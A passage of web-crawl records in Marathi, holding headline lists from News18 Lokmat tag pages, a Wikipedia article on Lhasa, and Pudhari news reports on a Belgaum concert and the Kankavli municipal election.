जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00216.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%B5%E0%A4%BF%E0%A4%B6%E0%A5%87%E0%A4%B7-%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A5%8D%E0%A4%B0%E0%A4%AE/all/page-4/", "date_download": "2018-09-25T17:11:02Z", "digest": "sha1:XFAEAW3DMGB3D2JQIEJKHXEI5DGFT5PT", "length": 10747, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "विशेष कार्यक्रम- News18 Lokmat Official Website Page-4", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nविशेष कार्यक्रम : जयभीम गोलमेज\nखैरलांजी घडलं तेव्हा पुरस्कार का परत केले नाही \n'अजेंडा महाराष्ट्र'मध्ये उमटला महाराष्ट्राचा विकास आराखडा \nविशेष कार्यक्रम - सावधान \nमुंबई इंडियन्सचं 'किंग',चेन्नईचा पराभव करून जेतेपदाला गवसणी\nबराक ओबामांच्या भारत दौर्‍याचा आज अखेरचा दिवस\nमोदींच्या 'मन की बात'ला ओबामांची साथ\nठरवा तुमचा जाहीरनामा...नोंदवा तुमची मतं आमच्या वेबसाईटवर\nराज ठाकरेंची संपूर्ण मुलाखत\n'सरकारची चालढकल' चितळे समितीच्या अहवालावर विशेष कार्यक्रम\n'स्टॅच्यू ऑफ युनिटी'साठी दौड\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00216.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/maratah-morcha-case-study/", "date_download": "2018-09-25T17:10:29Z", "digest": "sha1:GR744VKTOSR5GF4SUJG43DPKPR7YPNAD", "length": 9283, "nlines": 109, "source_domain": "lokmat.news18.com", "title": "Maratah Morcha Case Study- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमराठा मोर्चाकडून आज महाराष्ट्र बंदची हाक\nमुक मोर्चातून आक्रमक झालेल्या मराठा मोर्चात काल औरंगाबाद इथं मराठा आंदोलनादरम्यान काकासाहेब शिंदे या तरूणाचा मृत्यू झाला.\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00216.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/mukesh-ambani/all/page-3/", "date_download": "2018-09-25T17:46:25Z", "digest": "sha1:SNX4W6TPWDJWBY64XWAWEPY6C5VZHUW3", "length": 10178, "nlines": 131, "source_domain": "lokmat.news18.com", "title": "Mukesh Ambani- News18 Lokmat Official Website Page-3", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n रिलायन्स जियो 4 जी सेवा लाँच\nरिलायन्स 'जियो 4 जी सेवे'चा कर्मचार्‍यांपासून करणार शुभारंभ\nडिसेंबरपर्यंत रिलायन्सचा 4 हजारांमध्ये 4 जी फोन बाजारात \n'डिसेंबरमध्ये सुरू होणार रिलायन्स जियो'\nबिग बी, मुकेश अंबानींनी दिली प्रदर्शनाला भेट\nगुंतवणुकीसाठी मोदींचा 3D फॉर्म्यूला\nआज मोदी-मुलायम-केजरीवाल उत्तर प्रदेशमध्ये\nसचिनच्या पार्टीला सेलिब्रेटींची मांदियाळी\nअंबानींचा 'महाल' वक्फ बोर्डाच्या जमिनीवर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00216.warc.wet.gz", "language": "mr", "language_score": 0.88, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/phone/all/page-5/", "date_download": "2018-09-25T16:50:39Z", "digest": "sha1:CJFKDL3FLOQB57YGSHGCWXQMXYZA6WEY", "length": 10378, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "Phone- News18 Lokmat Official Website Page-5", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nफोटो गॅलरीDec 14, 2015\nआता बोला, 3 हजारात 4जी फोन \nफोटो गॅलरी Dec 9, 2015\nनव्या 'ऍपल 6 एस'साठी ठाणेकरांच्या दुकानाबाहेर रांगा\nअसा आहे आयफोन 6s आणि 6s प्लस \nआलं 'अॅपल'चं म्युझिक अॅप, अमर्यादित स्ट्रिमिंग आणि रेडिओही ऐका \n'अॅपल'कडून स्मार्ट वॉच लाँच\n2014 कसं राहिलं मोबाईल विश्वासाठी \nआता यू-ट्यूबवरचे व्हिडिओ पाहता येणार ऑफलाइन\nगडकरी जेव्हा व्हॉट्स अॅपवरचा उखाणा वाचून दाखवता...\n'आयफोन 6' चं दमदार लाँचिंग\nअ‍ॅपलने लाँच केला सर्वात मोठा आयफोन\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00216.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B2%E0%A5%8D%E0%A4%B9%E0%A4%BE%E0%A4%B8%E0%A4%BE", "date_download": "2018-09-25T16:49:36Z", "digest": "sha1:IPEBKRUQ6EP2BXAK33KU56SWGPUIXJXR", "length": 9193, "nlines": 195, "source_domain": "mr.wikipedia.org", "title": "ल्हासा - विकिपीडिया", "raw_content": "\nस्थापना वर्ष ७ वे शतक\nक्षेत्रफळ ५२ चौ. किमी (२० चौ. मैल)\nसमुद्रसपाटीपासुन उंची ११,९७५ फूट (३,६५० मी)\nप्रमाणवेळ यूटीसी + ८:००\nचीनमधील शहराबद्दलचा हा लेख अद्याप प्राथमिक अवस्थेत आहे.\nतुम्ही ह्या लेखाचा विस्तार करुन विकिपीडियाला मदत करु शकता.\nल्हासा हे चीनच्या तिबेट स्वायत्त प्रदेशाचे राजधानीचे शहर आहे. तिबेटच्या पठारावरील लोकसंख्येच्या मानाने शिनिंग शहराच्या पाठोपाठ ल्हासा हे दुसऱ्या क्रमांकाचे शहर आहे. ल्हासा शहर समुद्रसपाटीपासून ३४९० मीटर उंचीवर असून जगातील सर्वात उंच शहरांपैकी एक आहे.\n१७ व्या शतकापासून ल्हासा हे तिबेटचे प्रशासकीय आणि धार्मिक केंद्र आहे. पोताला महाल, जोखांग मंदिर, नोरबुलिंका पॅलेस यांसारखी अनेक तिबेटी बौद्ध संस्कृतीची अतिमहत्तवाची स्थानके ह्या शहरात आहेत.\n'ल्हासा' शब्दाचा अर्थ 'देवतांचे स्थान' असा होतो. प्राचीन तिबेटी पत्र आणि शिलालेखांपासून असे दिसून येते की ह्या ठिकाणाचे नाव 'रासा' असे होते. 'रासा' हे नाव 'रावे सा' ह्या नावाचा अपभ्रंश असावा. 'रावे सा' चा अर्थ 'कुंपण घातलेली जागा' असा होतो. ह्यावरून अशी शक्यता निर्माण होते की, ल्हासा शहराच्या ठिकाणी मूलतः तिबेटच्या राज्यकर्त्यांचे शिकारीचे उद्यान असावे. इ.स. ८२२ मध्ये चीन आणि तिबेट ह्यांच्यात झालेल्या 'जोवो' मंदिरासंबंधीच्या करारात ल्हासा हे नाव प्रथम आढळते.\nल्हासा शहराची उंची साधारण ३५०० मीटर असून स्थान तिबेटन पठाराच्या मध्यभागी आहे. शहराभोवती ५५०० मीटर्सपर्यंत उंचीचे पर्वत आहेत. येथील हवेत समुद्रसपाटीच्या प्रमाणाच्या मानाने केवळ ६८% ऑक्सिजन आहे. शहराच्या दक्षिण भागातून 'क्यी' नदी वाहते. ल्हासाचे वार्षिक सरासरी तापमान ८ °C इतके आहे आणि वार्षिक पर्जन्यमान ५०० मि.मी. इतके आहे.\nअतिउच्चतेमुळे ल्हासा शहराची हवा थंड व कोरडी आहे. हिवाळे थंड व उन्हाळे सौम्य असतात. तरी खोऱ्यातील स्थान तीव्र वारे आणि थंडीपासून शहराचे रक्षण करते. वर्षाला सरासरी ३००० तास सूर्यप्रकाश शहराला लाभतो.\nचीन मधील शहरे विस्तार विनंती\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ११ ऑक्टोबर २०१७ रोजी ०८:०२ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00216.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/Belgaum-Ramnath-Mangal-Office-Program-issue/", "date_download": "2018-09-25T17:35:51Z", "digest": "sha1:EF3YROZZDYMZGJLN2XQ7WF3D4YUALJRI", "length": 6891, "nlines": 36, "source_domain": "www.pudhari.news", "title": " अवीट गीतांनी रंगली ‘स्वरसंध्या’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › अवीट गीतांनी रंगली ‘स्वरसंध्या’\nअवीट गीतांनी रंगली ‘स्वरसंध्या’\nअवीट स्वरातून सादर केलेल्या एकापेक्षा एक सरस अशा मराठी-हिंदी गीतांनी स्वरसंध्या रंगली. स्वरांच्या बहारदार सादरीकरणाने रसिक चिंब झाले. यामुळे मंगळवारची सायंकाळ रसिकांना यादगार ठरली. मर्कटाईल को-ऑप. सोसायटी आणि मर्कंटाईल सेवा केंद्राच्यावतीने मंगळवारी भाग्यनगर येथील रामनाथ मंगल कार्यालयात ‘सुरांच्या चैत्रबनात’ कार्यक्रमाचे आयोजन केले होते. कार्यक्रमाची सुरुवात मर्कंटाईल सोसायटीचे चेअरमन संजय मोरे, गायिका सावनी रविंद्र, अभिलाषा चेल्लम, सागर फडके, बिंबा नाडकर्णी यांच्या हस्ते दीपप्रज्वलन करून झाली. सागर फडके यांनी ‘मोरय्या, मोरय्या’ या गणेशस्तवनाने कार्यक्रमाची सुरुवात केली. त्याच्या दमदार आवाजाने रसिकांची मने जिंकली. अभिलाषा चेल्लम हिने ‘ही गुलाबी हवा’ हे गाणे सादर करून रसिकांची दाद मिळविली.\nसावनी रविंद्र हिने ‘गोर्‍या, गोर्‍या’ या बहारदार गाण्याने रसिकांना डोलायला लावले. त्यानंतर सागर व अभिलाषा यांनी ‘प्रेम ऋतु’ हे युगलगीत सादर केले. सावनी हिने यावेळी नाही कळले, मै तैनु समझावा, बुगडी माझी सांंडली, ही गीते सादर केली.सागर फडकेके देवा तुझ्या गाभार्‍याला, खेळ मांडला, साजिरी गोजिरी, ललाटी भंडार, माउली ही गाणी तर अभिलाषा यांनी अप्सरा आली, वाजले की बारा, दमा दम मस्त, झिंगाट आदी गाण्यांचे सादरीकरण केले. यावेळी की बोर्डवर राहुल सिंग व प्रशांत, गिटार सूरज कांबळे, र्‍हिदम ओमकार जोशी, ऑक्टोपॅड सचिन जाधव, प्रथमेश जाधव, ढोलकी हणुमंत चौगुले यांनी साथ दिली. ऋचा थते हिने उत्कृष्ट निवेदन केले.\nआरती अंकलीकर-टिकेकर यांचे आज गायन\nसुप्रसिद्ध शास्त्रीय संगीत गायिका आरती अंकलीकर टिकेकर यांचे बुधवारी सायं. 6.30 वा. गायनाचा कार्यक्रम होणार आहे. अंकलीकर या ग्वाल्हेर घराण्याचे गायक स्व. पंडीत वसंतराव कुलकर्णी यांच्या शिष्या आहेत. त्यांना आतापर्यंत सवाई गंधर्व महोत्सव पुणे, मल्हार उत्सव दिल्ली, तानसेन समारोह ग्वाल्हेर, दोवर लेन उत्सव कोलकत्ता, शंकरलाल महोत्सव दिल्ली, मद्रास म्युझिक अकादमी चेन्नई यासह देश आणि विदेशाती गायनाचे कार्यक्रम केलेले आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00217.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Election-of-Kankavli-Municipal-Panchayat/", "date_download": "2018-09-25T16:51:00Z", "digest": "sha1:YCKZOJUTJJMF42HCN6QXKOCLJ7LJ54GU", "length": 11903, "nlines": 54, "source_domain": "www.pudhari.news", "title": " कणकवलीकरांना शांतता हवी आहे! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › कणकवलीकरांना शांतता हवी आहे\nकणकवलीकरांना शांतता हवी आहे\nतळकोकणातील सिंधुदुर्ग जिल्ह्यातील मोठी व्यापारीपेठ असलेल्या कणकवली नगरपंचायतीची निवडणूक खरेच शांततेत सुरू आहे आणि उरलेल्या आठ दिवसातही ती शांततेत सुरू राहणार यात शंका नाही. कायदा व सुव्यवस्था बिघडवणारे प्रकार घडले आणि त्यातून दहशत निर्माण झाली तर हातात काहीच लागत नाही, हे यापूर्वीचा इतिहास पाहता स्पष्ट झालेले आहे. त्यामुळे उमेदवारच शांतपणे आपापला प्रचार करताना दिसत आहेत. विशेष 